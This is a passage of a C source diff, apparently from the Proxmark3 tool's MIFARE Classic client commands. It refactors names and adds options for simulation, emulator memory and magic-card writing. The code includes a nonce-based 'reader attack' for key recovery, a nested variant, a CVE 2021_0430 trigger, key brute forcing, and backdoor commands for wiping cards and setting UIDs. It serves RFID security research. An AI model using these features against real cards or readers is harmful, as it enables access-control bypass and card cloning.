-3948,9 +4501,13 @@ static int CmdHF14AMfChk(const char *Cmd) { SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue; + if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500) == false) { + continue; + } - if (resp.status != PM3_SUCCESS) continue; + if (resp.status != PM3_SUCCESS) { + continue; + } uint8_t *data = resp.data.asBytes; key64 = bytes_to_num(data + 10, MIFARE_KEY_SIZE); @@ -3967,9 +4524,6 @@ static int CmdHF14AMfChk(const char *Cmd) { } out: - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - //print keys // if (singleSector) // printKeyTableEx(1, e_sector, mfSectorNum(blockNo)); @@ -3980,21 +4534,24 @@ out: // fast push mode g_conn.block_after_ACK = true; uint8_t block[MFBLOCK_SIZE] = {0x00}; + for (int i = 0; i < sectors_cnt; ++i) { uint8_t blockno = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, blockno, 1); + mf_eml_get_mem(block, blockno, 1); - if (e_sector[i].foundKey[0]) + if (e_sector[i].foundKey[0]) { num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); + } - if (e_sector[i].foundKey[1]) + if (e_sector[i].foundKey[1]) { num_to_bytes(e_sector[i].Key[1], MIFARE_KEY_SIZE, block + 10); + } if (i == sectors_cnt - 1) { // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, blockno, 1); + mf_elm_set_mem(block, blockno, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); } @@ -4013,7 +4570,7 @@ out: // Disable fast mode and send a dummy command to make it effective g_conn.block_after_ACK = false; SendCommandNG(CMD_PING, NULL, 0); - if (!WaitForResponseTimeout(CMD_PING, NULL, 1000)) { + if (WaitForResponseTimeout(CMD_PING, NULL, 1000) == false) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -4039,7 +4596,13 @@ void readerAttack(sector_t *k_sector, size_t k_sectors_cnt, nonces_t data, bool } uint64_t key = 0; - if (mfkey32_moebius(&data, &key)) { + bool found = false; + if ((nonce_state)data.state == SECOND) { + found = mfkey32_moebius(&data, &key); + } else if ((nonce_state)data.state == NESTED) { + found = mfkey32_nested(&data, &key); + } + if (found) { uint8_t sector = data.sector; uint8_t keytype = data.keytype; @@ -4054,15 +4617,21 @@ void readerAttack(sector_t *k_sector, size_t k_sectors_cnt, nonces_t data, bool //set emulator memory for keys if (setEmulatorMem) { - uint8_t memBlock[16] = {0, 0, 0, 0, 0, 0, 0xFF, 0x07, 0x80, 0x69, 0, 0, 0, 0, 0, 0}; - num_to_bytes(k_sector[sector].Key[0], 6, memBlock); - num_to_bytes(k_sector[sector].Key[1], 6, memBlock + 10); + uint8_t memBlock[16]; + mf_eml_get_mem(memBlock, (sector * 4) + 3, 1); + if ((memBlock[6] == 0) && (memBlock[7] == 0) && (memBlock[8] == 0)) { + // ACL not yet set? + memBlock[6] = 0xFF; + memBlock[7] = 0x07; + memBlock[8] = 0x80; + } + num_to_bytes(k_sector[sector].Key[keytype], 6, memBlock + ((keytype == MF_KEY_B) ? 10 : 0)); //iceman, guessing this will not work so well for 4K tags. PrintAndLogEx(INFO, "Setting Emulator Memory Block %02d: [%s]" , (sector * 4) + 3 , sprint_hex(memBlock, sizeof(memBlock)) ); - mfEmlSetMem(memBlock, (sector * 4) + 3, 1); + mf_elm_set_mem(memBlock, (sector * 4) + 3, 1); } } @@ -4082,7 +4651,8 @@ static int CmdHF14AMfSim(const char *Cmd) { "hf mf sim --1k -u 11223344556677 --> MIFARE Classic 1k with 7b UID\n" "hf mf sim --1k -u 11223344 -i -x --> Perform reader attack in interactive mode\n" "hf mf sim --2k --> MIFARE 2k\n" - "hf mf sim --4k --> MIFARE 4k" + "hf mf sim --4k --> MIFARE 4k\n" + "hf mf sim --1k -x -e --> Keep simulation running and populate with found reader keys\n" ); void *argtable[] = { @@ -4092,14 +4662,18 @@ static int CmdHF14AMfSim(const char *Cmd) { arg_lit0(NULL, "1k", "MIFARE Classic 1k / S50"), arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), - arg_str0(NULL, "atqa", "", "Provide explicit ATQA (2 bytes, overrides option t)"), - arg_str0(NULL, "sak", "", "Provide explicit SAK (1 bytes, overrides option t)"), + arg_str0(NULL, "atqa", "", "Provide explicit ATQA (2 bytes)"), + arg_str0(NULL, "sak", "", "Provide explicit SAK (1 bytes)"), arg_int0("n", "num", " ", "Automatically exit simulation after blocks have been read by reader. 0 = infinite"), arg_lit0("i", "interactive", "Console will not be returned until simulation finishes or is aborted"), - arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader"), - arg_lit0("e", "emukeys", "Fill simulator keys from found keys"), - arg_lit0("v", "verbose", "verbose output"), - arg_lit0(NULL, "cve", "trigger CVE 2021_0430"), + arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader."), + arg_lit0("y", NULL, "Performs the nested 'reader attack'. This requires preloading nt & nt_enc in emulator memory. Implies -x."), + arg_lit0("e", "emukeys", "Fill simulator keys from found keys. Requires -x or -y. Implies -i. Simulation will restart automatically."), + // If access bits show that key B is Readable, any subsequent memory access should be refused. + arg_lit0(NULL, "allowkeyb", "Allow key B even if readable"), + arg_lit0(NULL, "allowover", "Allow auth attempts out of range for selected MIFARE Classic type"), + arg_lit0("v", "verbose", "Verbose output"), + arg_lit0(NULL, "cve", "Trigger CVE 2021_0430"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -4110,25 +4684,12 @@ static int CmdHF14AMfSim(const char *Cmd) { uint8_t uid[10] = {0}; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - char uidsize[8] = {0}; if (uidlen > 0) { - switch (uidlen) { - case 10: - flags |= FLAG_10B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "10 byte"); - break; - case 7: - flags |= FLAG_7B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "7 byte"); - break; - case 4: - flags |= FLAG_4B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "4 byte"); - break; - default: - PrintAndLogEx(WARNING, "Invalid parameter for UID"); - CLIParserFree(ctx); - return PM3_EINVARG; + FLAG_SET_UID_IN_DATA(flags, uidlen); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(WARNING, "Invalid parameter for UID"); + CLIParserFree(ctx); + return PM3_EINVARG; } } @@ -4155,10 +4716,23 @@ static int CmdHF14AMfSim(const char *Cmd) { flags |= FLAG_NR_AR_ATTACK; } - bool setEmulatorMem = arg_get_lit(ctx, 11); - bool verbose = arg_get_lit(ctx, 12); + if (arg_get_lit(ctx, 11)) { + flags |= FLAG_NESTED_AUTH_ATTACK; + } + + bool setEmulatorMem = arg_get_lit(ctx, 12); if (arg_get_lit(ctx, 13)) { + flags |= FLAG_MF_USE_READ_KEYB; + } + + if (arg_get_lit(ctx, 14)) { + flags |= FLAG_MF_ALLOW_OOB_AUTH; + } + + bool verbose = arg_get_lit(ctx, 15); + + if (arg_get_lit(ctx, 16)) { flags |= FLAG_CVE21_0430; } CLIParserFree(ctx); @@ -4169,7 +4743,7 @@ static int CmdHF14AMfSim(const char *Cmd) { PrintAndLogEx(WARNING, "Wrong ATQA length"); return PM3_EINVARG; } - flags |= FLAG_FORCED_ATQA; + flags |= FLAG_ATQA_IN_DATA; } if (saklen > 0) { @@ -4177,12 +4751,7 @@ static int CmdHF14AMfSim(const char *Cmd) { PrintAndLogEx(WARNING, "Wrong SAK length"); return PM3_EINVARG; } - flags |= FLAG_FORCED_SAK; - } - - // Use UID, SAK, ATQA from EMUL, if uid not defined - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; + flags |= FLAG_SAK_IN_DATA; } size_t k_sectors_cnt = MIFARE_4K_MAXSECTOR; @@ -4194,19 +4763,19 @@ static int CmdHF14AMfSim(const char *Cmd) { } if (m0) { - flags |= FLAG_MF_MINI; + FLAG_SET_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES); snprintf(csize, sizeof(csize), "MINI"); k_sectors_cnt = MIFARE_MINI_MAXSECTOR; } else if (m1) { - flags |= FLAG_MF_1K; + FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES); snprintf(csize, sizeof(csize), "1K"); k_sectors_cnt = MIFARE_1K_MAXSECTOR; } else if (m2) { - flags |= FLAG_MF_2K; + FLAG_SET_MF_SIZE(flags, MIFARE_2K_MAX_BYTES); snprintf(csize, sizeof(csize), "2K with RATS"); k_sectors_cnt = MIFARE_2K_MAXSECTOR; } else if (m4) { - flags |= FLAG_MF_4K; + FLAG_SET_MF_SIZE(flags, MIFARE_4K_MAX_BYTES); snprintf(csize, sizeof(csize), "4K"); k_sectors_cnt = MIFARE_4K_MAXSECTOR; } else { @@ -4214,13 +4783,32 @@ static int CmdHF14AMfSim(const char *Cmd) { return PM3_EINVARG; } - PrintAndLogEx(INFO, _YELLOW_("MIFARE %s") " | %s UID " _YELLOW_("%s") "" + if ((flags & FLAG_NESTED_AUTH_ATTACK) == FLAG_NESTED_AUTH_ATTACK) { + if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) { + PrintAndLogEx(INFO, "Note: option -y implies -x"); + flags |= FLAG_NR_AR_ATTACK; + } + } + + if (setEmulatorMem) { + if ((flags & FLAG_INTERACTIVE) != FLAG_INTERACTIVE) { + PrintAndLogEx(INFO, "Note: option -e implies -i"); + flags |= FLAG_INTERACTIVE; + } + + if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) { + PrintAndLogEx(WARNING, "Option -e requires -x or -y"); + return PM3_EINVARG; + } + } + + PrintAndLogEx(INFO, _YELLOW_("MIFARE %s") " | %i bytes UID " _YELLOW_("%s") "" , csize - , uidsize + , uidlen , (uidlen == 0) ? "n/a" : sprint_hex(uid, uidlen) ); - PrintAndLogEx(INFO, "Options [ numreads: %d, flags: %d (0x%02x) ]" + PrintAndLogEx(INFO, "Options [ numreads: %d, flags: %d (0x%04x) ]" , exitAfterNReads , flags , flags); @@ -4235,41 +4823,66 @@ static int CmdHF14AMfSim(const char *Cmd) { payload.flags = flags; payload.exitAfter = exitAfterNReads; + memcpy(payload.uid, uid, uidlen); + payload.atqa = (atqa[1] << 8) | atqa[0]; payload.sak = sak[0]; clearCommandBuffer(); - SendCommandNG(CMD_HF_MIFARE_SIMULATE, (uint8_t *)&payload, sizeof(payload)); - PacketResponseNG resp; - - if (flags & FLAG_INTERACTIVE) { - PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or send another cmd to abort simulation"); - - sector_t *k_sector = NULL; - - while (kbd_enter_pressed() == 0) { - - if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) - continue; - - if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) - break; - - if ((resp.oldarg[0] & 0xffff) != CMD_HF_MIFARE_SIMULATE) - break; - - nonces_t data[1]; - memcpy(data, resp.data.asBytes, sizeof(data)); - readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); - break; - } - //iceman: readerAttack call frees k_sector. this call below is useless. - showSectorTable(k_sector, k_sectors_cnt); + if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or a key to abort simulation"); } else { - PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort simulation"); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or send another cmd to abort simulation"); } + + bool cont; + do { + + cont = false; + SendCommandNG(CMD_HF_MIFARE_SIMULATE, (uint8_t *)&payload, sizeof(payload)); + + if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { + PacketResponseNG resp; + sector_t *k_sector = NULL; + + bool keypress = kbd_enter_pressed(); + while (keypress == false) { + + if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == false) { + keypress = kbd_enter_pressed(); + continue; + } + + if (resp.status != PM3_SUCCESS) { + break; + } + + if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) { + break; + } + + const nonces_t *data = (nonces_t *)resp.data.asBytes; + readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); + + if (setEmulatorMem) { + cont = true; + } + + break; + } + + if (keypress) { + if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + // inform device to break the sim loop since client has exited + PrintAndLogEx(INFO, "Key pressed, please wait a few seconds for the pm3 to stop..."); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } + } + } + + } while (cont); return PM3_SUCCESS; } @@ -4299,7 +4912,7 @@ static int CmdHF14AMfKeyBrute(const char *Cmd) { uint64_t t1 = msclock(); if (mfKeyBrute(blockNo, keytype, key, &foundkey)) - PrintAndLogEx(SUCCESS, "found valid key: %012" PRIx64 " \n", foundkey); + PrintAndLogEx(SUCCESS, "Found valid key [ %012" PRIX64 " ]\n", foundkey); else PrintAndLogEx(FAILED, "key not found"); @@ -4407,11 +5020,11 @@ void printKeyTableEx(size_t sectorscnt, sector_t *e_sector, uint8_t start_sector // MAD detection if (e_sector[MF_MAD1_SECTOR].foundKey[0] && e_sector[MF_MAD1_SECTOR].Key[0] == 0xA0A1A2A3A4A5) { - PrintAndLogEx(HINT, "MAD key detected. Try " _YELLOW_("`hf mf mad`") " for more details"); + PrintAndLogEx(HINT, "Hint: MAD key detected. Try " _YELLOW_("`hf mf mad`") " for more details"); } // NDEF detection if (has_ndef_key) { - PrintAndLogEx(HINT, "NDEF key detected. Try " _YELLOW_("`hf mf ndefread`") " for more details"); + PrintAndLogEx(HINT, "Hint: NDEF key detected. Try " _YELLOW_("`hf mf ndefread`") " for more details"); } PrintAndLogEx(NORMAL, ""); } @@ -4442,7 +5055,7 @@ static int CmdHF14AMfEGetBlk(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0x00}; - if (mfEmlGetMem(data, blockno, 1) == PM3_SUCCESS) { + if (mf_eml_get_mem(data, blockno, 1) == PM3_SUCCESS) { uint8_t sector = mfSectorNum(blockno); mf_print_sector_hdr(sector); @@ -4474,7 +5087,7 @@ static int CmdHF14AMfEGetSc(const char *Cmd) { CLIParserFree(ctx); if (s >= MIFARE_4K_MAXSECTOR) { - PrintAndLogEx(WARNING, "Sector number must be less then 40"); + PrintAndLogEx(WARNING, "Sector number must be less than 40"); return PM3_EINVARG; } @@ -4486,7 +5099,7 @@ static int CmdHF14AMfEGetSc(const char *Cmd) { uint8_t data[16] = {0}; for (int i = 0; i < blocks; i++) { - int res = mfEmlGetMem(data, start + i, 1); + int res = mf_eml_get_mem(data, start + i, 1); if (res == PM3_SUCCESS) { mf_print_block_one(start + i, data, verbose); } @@ -4552,7 +5165,7 @@ static int CmdHF14AMfESet(const char *Cmd) { } // 1 - blocks count - return mfEmlSetMem(data, b, 1); + return mf_elm_set_mem(data, b, 1); } int CmdHF14AMfELoad(const char *Cmd) { @@ -4650,7 +5263,7 @@ int CmdHF14AMfELoad(const char *Cmd) { SendCommandNG(CMD_SPIFFS_ELOAD, (uint8_t *)filename, fnlen); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_SPIFFS_ELOAD, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -4693,7 +5306,7 @@ int CmdHF14AMfELoad(const char *Cmd) { // update expected blocks to match converted data. block_cnt = bytes_read / MFU_BLOCK_SIZE; - PrintAndLogEx(INFO, "MIFARE Ultralight override, will use %d blocks ( %u bytes )", block_cnt, block_cnt * block_width); + PrintAndLogEx(INFO, "MIFARE Ultralight override, will use " _YELLOW_("%d") " blocks ( " _YELLOW_("%u") " bytes )", block_cnt, block_cnt * block_width); } PrintAndLogEx(INFO, "Uploading to emulator memory"); @@ -4705,7 +5318,7 @@ int CmdHF14AMfELoad(const char *Cmd) { size_t offset = 0; int cnt = 0; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / block_width) * block_width; while (bytes_read && cnt < block_cnt) { @@ -4717,7 +5330,7 @@ int CmdHF14AMfELoad(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, bytes_read); uint16_t blocks_to_send = chunk_size / block_width; - if (mfEmlSetMem_xt(data + offset, cnt, blocks_to_send, block_width) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(data + offset, cnt, blocks_to_send, block_width) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Can't set emulator mem at block: %3d", cnt); free(data); return PM3_ESOFT; @@ -4732,14 +5345,14 @@ int CmdHF14AMfELoad(const char *Cmd) { PrintAndLogEx(NORMAL, ""); if (block_width == MFU_BLOCK_SIZE) { - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`hf mfu sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("hf mfu sim -h`") "`"); // MFU / NTAG if ((cnt != block_cnt)) { PrintAndLogEx(WARNING, "Warning, Ultralight/Ntag file content, Loaded %d blocks of expected %d blocks into emulator memory", cnt, block_cnt); return PM3_SUCCESS; } } else { - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`hf mf sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("hf mf sim -h") "`"); // MFC if ((cnt != block_cnt)) { PrintAndLogEx(WARNING, "Error, file content, Only loaded %d blocks, must be %d blocks into emulator memory", cnt, block_cnt); @@ -4805,7 +5418,7 @@ static int CmdHF14AMfESave(const char *Cmd) { // reserv memory uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memset(dump, 0, bytes); @@ -4883,12 +5496,12 @@ static int CmdHF14AMfEView(const char *Cmd) { uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } PrintAndLogEx(INFO, "downloading emulator memory"); - if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) { + if (GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "Fail, transfer from device time-out"); free(dump); return PM3_ETIMEOUT; @@ -4921,6 +5534,8 @@ static int CmdHF14AMfECFill(const char *Cmd) { arg_param_begin, arg_lit0("a", NULL, "input key type is key A(def)"), arg_lit0("b", NULL, "input key type is key B"), + arg_int0("c", NULL, "", "input key type is key A + offset"), + arg_str0("k", "key", "", "key, 6 hex bytes, only for option -c"), arg_lit0(NULL, "mini", "MIFARE Classic Mini / S20"), arg_lit0(NULL, "1k", "MIFARE Classic 1k / S50 (def)"), arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), @@ -4936,11 +5551,28 @@ static int CmdHF14AMfECFill(const char *Cmd) { } else if (arg_get_lit(ctx, 2)) { keytype = MF_KEY_B; } + uint8_t prev_keytype = keytype; + keytype = arg_get_int_def(ctx, 3, keytype); + if ((arg_get_lit(ctx, 1) || arg_get_lit(ctx, 2)) && (keytype != prev_keytype)) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "Choose one single input key type"); + return PM3_EINVARG; + } + int keylen = 0; + uint8_t key[6] = {0}; + CLIGetHexWithReturn(ctx, 4, key, &keylen); + if ((keytype > MF_KEY_B) && (keylen != 6)) { + PrintAndLogEx(WARNING, "Missing key"); + return PM3_EINVARG; + } + if ((keytype <= MF_KEY_B) && (keylen > 0)) { + PrintAndLogEx(WARNING, "Ignoring provided key"); + } - bool m0 = arg_get_lit(ctx, 3); - bool m1 = arg_get_lit(ctx, 4); - bool m2 = arg_get_lit(ctx, 5); - bool m4 = arg_get_lit(ctx, 6); + bool m0 = arg_get_lit(ctx, 5); + bool m1 = arg_get_lit(ctx, 6); + bool m2 = arg_get_lit(ctx, 7); + bool m4 = arg_get_lit(ctx, 8); CLIParserFree(ctx); // validations @@ -4970,12 +5602,25 @@ static int CmdHF14AMfECFill(const char *Cmd) { .sectorcnt = sectors_cnt, .keytype = keytype }; + memcpy(payload.key, key, sizeof(payload.key)); clearCommandBuffer(); + uint64_t t1 = msclock(); SendCommandNG(CMD_HF_MIFARE_EML_LOAD, (uint8_t *)&payload, sizeof(payload)); - // 2021, iceman: should get a response from device when its done. - return PM3_SUCCESS; + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_MIFARE_EML_LOAD, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + return PM3_ETIMEOUT; + } + t1 = msclock() - t1; + + if (resp.status == PM3_SUCCESS) + PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%" PRIu64) " ms", t1); + else + PrintAndLogEx(FAILED, "Fill ( " _RED_("fail") " )"); + + return resp.status; } static int CmdHF14AMfEKeyPrn(const char *Cmd) { @@ -5035,7 +5680,7 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { // read UID from EMUL uint8_t data[16]; - if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { + if (mf_eml_get_mem(data, 0, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block 0"); free(e_sector); return PM3_ESOFT; @@ -5046,9 +5691,9 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { memcpy(uid, data, sizeof(uid)); // download keys from EMUL - for (int i = 0; i < sectors_cnt; i++) { + for (uint8_t i = 0; i < sectors_cnt; i++) { - if (mfEmlGetMem(data, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { + if (mf_eml_get_mem(data, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block %d", mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1); e_sector[i].foundKey[0] = false; e_sector[i].foundKey[1] = false; @@ -5092,6 +5737,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { arg_str0("u", "uid", "", "UID, 4/7 hex bytes"), arg_str0("a", "atqa", "", "ATQA, 2 hex bytes"), arg_str0("s", "sak", "", "SAK, 1 hex byte"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5109,6 +5755,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { int slen = 0; uint8_t sak[1] = {0x00}; CLIGetHexWithReturn(ctx, 4, sak, &slen); + uint8_t gdm = arg_get_lit(ctx, 5); CLIParserFree(ctx); // sanity checks @@ -5128,14 +5775,15 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { uint8_t old_uid[7] = {0}; uint8_t verify_uid[7] = {0}; - int res = mfCSetUID( + int res = mf_chinese_set_uid( uid, uidlen, (alen) ? atqa : NULL, (slen) ? sak : NULL, old_uid, verify_uid, - wipe_card + wipe_card, + gdm ); if (res) { @@ -5166,6 +5814,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { arg_str0("u", "uid", "", "UID, 4 hex bytes"), arg_str0("a", "atqa", "", "ATQA, 2 hex bytes"), arg_str0("s", "sak", "", "SAK, 1 hex byte"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, cmd, argtable, true); @@ -5181,6 +5830,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { int slen = 0; uint8_t sak[1] = {0x00}; CLIGetHexWithReturn(ctx, 3, sak, &slen); + uint8_t gdm = arg_get_lit(ctx, 4); CLIParserFree(ctx); if (uidlen && uidlen != 4) { @@ -5196,7 +5846,7 @@ static int CmdHF14AMfCWipe(const char *cmd) { return PM3_EINVARG; } - int res = mfCWipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL); + int res = mf_chinese_wipe((uidlen) ? uid : NULL, (alen) ? atqa : NULL, (slen) ? sak : NULL, gdm); if (res) { PrintAndLogEx(ERR, "Can't wipe card. error %d", res); return PM3_ESOFT; @@ -5218,6 +5868,7 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { arg_int1("b", "blk", "", "block number"), arg_str0("d", "data", "", "bytes to write, 16 hex bytes"), arg_lit0("w", "wipe", "wipes card with backdoor cmd before writing"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -5229,6 +5880,7 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { CLIGetHexWithReturn(ctx, 2, data, &datalen); uint8_t wipe_card = arg_get_lit(ctx, 3); + uint8_t gdm = arg_get_lit(ctx, 4); CLIParserFree(ctx); if (b < 0 || b >= MIFARE_1K_MAXBLOCK) { @@ -5242,13 +5894,19 @@ static int CmdHF14AMfCSetBlk(const char *Cmd) { } uint8_t params = MAGIC_SINGLE; + if (gdm) { + params |= MAGIC_GDM_ALT_WUPC; + } else { + params |= MAGIC_WUPC; + } + if (wipe_card) { params |= MAGIC_WIPE; } PrintAndLogEx(INFO, "Writing block number:%2d data:%s", b, sprint_hex_inrow(data, sizeof(data))); - int res = mfCSetBlock(b, data, NULL, params); + int res = mf_chinese_set_block(b, data, NULL, params); if (res) { PrintAndLogEx(ERR, "Can't write block. error=%d", res); return PM3_ESOFT; @@ -5269,10 +5927,12 @@ static int CmdHF14AMfCLoad(const char *Cmd) { arg_param_begin, arg_str0("f", "file", "", "Specify a filename for dump file"), arg_lit0(NULL, "mini", "MIFARE Classic Mini / S20"), - arg_lit0(NULL, "1k", "MIFARE Classic 1k / S50 (def)"), - arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), - arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), - arg_lit0(NULL, "emu", "from emulator memory"), + arg_lit0(NULL, "1k", "MIFARE Classic 1k / S50 (def)"), + arg_lit0(NULL, "1k+", "MIFARE Classic Ev1 1k / S50"), + arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), + arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), + arg_lit0(NULL, "emu", "from emulator memory"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -5283,20 +5943,22 @@ static int CmdHF14AMfCLoad(const char *Cmd) { bool m0 = arg_get_lit(ctx, 2); bool m1 = arg_get_lit(ctx, 3); - bool m2 = arg_get_lit(ctx, 4); - bool m4 = arg_get_lit(ctx, 5); - bool fill_from_emulator = arg_get_lit(ctx, 6); + bool m1ev1 = arg_get_lit(ctx, 4); + bool m2 = arg_get_lit(ctx, 5); + bool m4 = arg_get_lit(ctx, 6); + bool fill_from_emulator = arg_get_lit(ctx, 7); + bool gdm = arg_get_lit(ctx, 8); CLIParserFree(ctx); - if ((m0 + m1 + m2 + m4) > 1) { + if ((m0 + m1 + m2 + m4 + m1ev1) > 1) { PrintAndLogEx(WARNING, "Only specify one MIFARE Type"); return PM3_EINVARG; - } else if ((m0 + m1 + m2 + m4) == 0) { + } else if ((m0 + m1 + m2 + m4 + m1ev1) == 0) { m1 = true; } - char s[6]; + char s[8]; memset(s, 0, sizeof(s)); uint16_t block_cnt = MIFARE_1K_MAXBLOCK; if (m0) { @@ -5305,6 +5967,9 @@ static int CmdHF14AMfCLoad(const char *Cmd) { } else if (m1) { block_cnt = MIFARE_1K_MAXBLOCK; strncpy(s, "1K", 3); + } else if (m1ev1) { + block_cnt = MIFARE_1K_EV1_MAXBLOCK; + strncpy(s, "1K Ev1", 7); } else if (m2) { block_cnt = MIFARE_2K_MAXBLOCK; strncpy(s, "2K", 3); @@ -5316,10 +5981,13 @@ static int CmdHF14AMfCLoad(const char *Cmd) { return PM3_EINVARG; } + if (m1ev1) { + PrintAndLogEx(INFO, "Normally only a GDM / UMC card will handle the extra sectors"); + } if (fill_from_emulator) { - PrintAndLogEx(INFO, "Start upload to emulator memory"); + PrintAndLogEx(INFO, "Start upload from emulator memory"); PrintAndLogEx(INFO, "." NOLF); for (int b = 0; b < block_cnt; b++) { @@ -5327,14 +5995,14 @@ static int CmdHF14AMfCLoad(const char *Cmd) { uint8_t buf8[MFBLOCK_SIZE] = {0x00}; // read from emul memory - if (mfEmlGetMem(buf8, b, 1)) { + if (mf_eml_get_mem(buf8, b, 1)) { PrintAndLogEx(WARNING, "Can't read from emul block: %d", b); return PM3_ESOFT; } // switch on field and send magic sequence if (b == 0) { - flags = MAGIC_INIT + MAGIC_WUPC; + flags = MAGIC_INIT | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); } // just write @@ -5348,7 +6016,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { } // write to card - if (mfCSetBlock(b, buf8, NULL, flags)) { + if 